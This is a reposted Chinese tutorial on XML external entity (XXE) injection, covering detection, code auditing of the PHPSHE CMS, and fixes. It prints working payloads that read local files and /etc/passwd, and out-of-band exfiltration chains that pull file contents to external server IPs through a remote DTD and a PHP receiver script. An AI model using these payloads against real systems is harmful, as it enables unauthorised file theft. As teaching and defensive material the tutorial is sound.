【WEB攻防】XML&XXE安全及黑白盒挖掘等详解

admin 2024年4月19日23:18:56评论2 views字数 3852阅读12分50秒阅读模式
【WEB攻防】XML&XXE安全及黑白盒挖掘等详解

 

知识点:
1、XXE&XML-原理-用途&外实体&安全

2、XXE&XML-黑盒-格式类型&数据类型

3、XXE&XML-白盒-函数审计&回显方案

01
XML&XXE-传输-原理&探针&利用&玩法

XML被设计为传输和存储数据,XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。等同于JSON传输。

XXE漏洞XML External Entity Injection,即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取(最常用)、命令执行、内网扫描、攻击内网等危害。

php原生态代码只能造成文件读取,其他的例如命令执行那些都是跟一些第三方库导致的安全问题有关

XML 与 HTML 的主要差异:

XML 被设计为传输和存储数据,其焦点是数据的内容。

HTML 被设计用来显示数据,其焦点是数据的外观。

HTML 旨在显示信息 ,而XML旨在传输存储信息。

Example:网站的xml文件解析

XXE 黑盒发现

获取得到Content-Type或数据类型为xml时,尝试xml语言payload进行测试

不管获取的Content-Type类型或数据传输类型,均可尝试修改后提交测试xxe

XXE不仅在数据传输上可能存在漏洞,同样在文件上传引用插件解析或预览也会造成文件中的XXE Payload被执行

获取得到Content-Type或数据类型为xml时,尝试xml语言payload进行测试

【WEB攻防】XML&XXE安全及黑白盒挖掘等详解

判断对方使用XML来传输数据时,尝试xml语言payload进行测试

【WEB攻防】XML&XXE安全及黑白盒挖掘等详解

【WEB攻防】XML&XXE安全及黑白盒挖掘等详解

不管获取的Content-Type类型或数据传输类型是否是XML,均可尝试修改为XML格式后提交测试xxe

【WEB攻防】XML&XXE安全及黑白盒挖掘等详解

XXE不仅在数据传输上可能存在漏洞,同样在文件上传引用插件解析或预览也会造成文件中的XXE Payload被执行(百度docx xxeb即可)

参考文章:https://blog.csdn.net/weixin_57567655/article/details/124588490

【WEB攻防】XML&XXE安全及黑白盒挖掘等详解

XXE 白盒发现

可通过应用功能追踪代码定位审计

可通过脚本特定函数搜索定位审计

可通过伪协议玩法绕过相关修复等

XXE修复防御方案

方案1-禁用外部实体

PHP:

1libxml_disable_entity_loader(true);

JAVA:

1DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);

Python:

1from lxml import etreexmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

方案2-过滤用户提交的XML数据

过滤关键词:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC

有回显

读取文件

1<?xml version="1.0"?>
2<!DOCTYPE xiaodi [
3<!ENTITY test SYSTEM  "file:///d:/1.txt">
4]>
5<user><username>&test;</username><password>xiaodi</password></user>

【WEB攻防】XML&XXE安全及黑白盒挖掘等详解

外部实体引用dtd

1<?xml version="1.0" ?>
2<!DOCTYPE test [
3    <!ENTITY % file SYSTEM "http://127.0.0.1:80/xxe.dtd">
4    %file;
5]>
6<user><username>&send;</username><password>xiaodi</password></user>

【WEB攻防】XML&XXE安全及黑白盒挖掘等详解

xxe.dtd

1<!ENTITY send SYSTEM "file:///d:/1.txt">

无回显

带外测试

1<?xml version="1.0" ?>
2<!DOCTYPE test [
3    <!ENTITY % file SYSTEM "http://9v57ll.dnslog.cn">
4    %file;
5]>
6<user><username>&send;</username><password>xiaodi</password></user>

【WEB攻防】XML&XXE安全及黑白盒挖掘等详解

【WEB攻防】XML&XXE安全及黑白盒挖掘等详解

或者不用dnslog,直接在VPS服务器上用python起一个WEB服务,然后看这个有没有请求记录即可。

1python -m http.server port

【WEB攻防】XML&XXE安全及黑白盒挖掘等详解

无回显读文件(外部实体引用dtd)

1<?xml version="1.0"?>
2<!DOCTYPE ANY[
3<!ENTITY % file SYSTEM "file:///d:/1.txt">
4<!ENTITY % remote SYSTEM "http://127.0.0.1/xxe.dtd">
5%remote;
6%all;
7]>
8<root>&send;</root>

【WEB攻防】XML&XXE安全及黑白盒挖掘等详解

【WEB攻防】XML&XXE安全及黑白盒挖掘等详解

xxe.dtd(真实情况下肯定放在VPS上)

1<!ENTITY % all "<!ENTITY send SYSTEM 'http://127.0.0.1/get.php?file=%file;'>">

get.php(真实情况下肯定放在VPS上)

1<?php
2$data=$_GET['file'];
3$myfile = fopen("file.txt", "w+");
4fwrite($myfile, $data);
5fclose($myfile);
6?>

那么这里又存在一个问题就是要读文件有空格有中文难道就读不了吗?

可以用php伪协议来绕过呀

1php://filter/read=convert.base64-encode/resource=phpinfo.php

【WEB攻防】XML&XXE安全及黑白盒挖掘等详解

 1<?xml version="1.0"?>
 2<!DOCTYPE ANY[
 3<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=D:/1.txt">
 4<!ENTITY % remote SYSTEM "http://124.221.77.120/xxe.dtd">
 5%remote;
 6%all;
 7]>
 8
 9
10<user><username>&send;</username><password>admin</password></user>

【WEB攻防】XML&XXE安全及黑白盒挖掘等详解

【WEB攻防】XML&XXE安全及黑白盒挖掘等详解

【WEB攻防】XML&XXE安全及黑白盒挖掘等详解

【WEB攻防】XML&XXE安全及黑白盒挖掘等详解

其他玩法(协议)https://www.cnblogs.com/20175211lyz/p/11413335.html

02
XML&XXE-黑盒-JSON&黑盒测试&类型修改

漏洞URL:http://web.jarvisoj.com:9882/

【WEB攻防】XML&XXE安全及黑白盒挖掘等详解

更改请求数据格式:Content-Type为xml格式

1<?xml version = "1.0"?>
2<!DOCTYPE ANY [
3    <!ENTITY f SYSTEM "file:///etc/passwd">
4]>
5<x>&f;</x>

【WEB攻防】XML&XXE安全及黑白盒挖掘等详解

03
XML&XXE-白盒-CMS&PHPSHE&无回显

1、搜索漏洞函数simplexml_load_string

【WEB攻防】XML&XXE安全及黑白盒挖掘等详解

2、pe_getxml函数调用了漏洞函数

【WEB攻防】XML&XXE安全及黑白盒挖掘等详解

【WEB攻防】XML&XXE安全及黑白盒挖掘等详解

3、wechat_getxml调用了pe_getxml

【WEB攻防】XML&XXE安全及黑白盒挖掘等详解

【WEB攻防】XML&XXE安全及黑白盒挖掘等详解

4、notify_url.php调用了wechat_getxml

【WEB攻防】XML&XXE安全及黑白盒挖掘等详解

5、访问notify_url文件触发wechat_getxml函数,构造Paylod测试

【WEB攻防】XML&XXE安全及黑白盒挖掘等详解

【WEB攻防】XML&XXE安全及黑白盒挖掘等详解

【WEB攻防】XML&XXE安全及黑白盒挖掘等详解

【WEB攻防】XML&XXE安全及黑白盒挖掘等详解

先尝试读取文件,无回显后带外测试:

【WEB攻防】XML&XXE安全及黑白盒挖掘等详解

1<?xml version="1.0" ?>
2<!DOCTYPE test [
3    <!ENTITY % file SYSTEM "http://1uwlwv.dnslog.cn">
4    %file;
5]>
6<root>&send;</root>

【WEB攻防】XML&XXE安全及黑白盒挖掘等详解

【WEB攻防】XML&XXE安全及黑白盒挖掘等详解

存在XXE漏洞

然后带外传递数据解决无回显:

 1<?xml version="1.0"?>
 2<!DOCTYPE ANY[
 3<!ENTITY % file SYSTEM "file:///d:/1.txt">
 4<!ENTITY % remote SYSTEM "http://47.94.236.117/test.dtd">
 5%remote;
 6%all;
 7]>
 8<root>&send;</root>
 9
10test.dtd:
11<!ENTITY % all "<!ENTITY send SYSTEM 'http://47.94.236.117/get.php?file=%file;'>">
12
13get.php
14<?php
15$data=$_GET['file'];
16$myfile = fopen("file.txt", "w+");
17fwrite($myfile, $data);
18fclose($myfile);
19?>
20
END
【WEB攻防】XML&XXE安全及黑白盒挖掘等详解
版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。

原文链接:https://blog.csdn.net/qq_61553520/article/details/137085344

版权声明:著作权归作者所有。如有侵权请联系删除

原文始发于微信公众号(开源聚合网络空间安全研究院):【WEB攻防】XML&XXE安全及黑白盒挖掘等详解

 

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年4月19日23:18:56
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【WEB攻防】XML&XXE安全及黑白盒挖掘等详解https://cn-sec.com/archives/2645615.html

发表评论

匿名网友 填写信息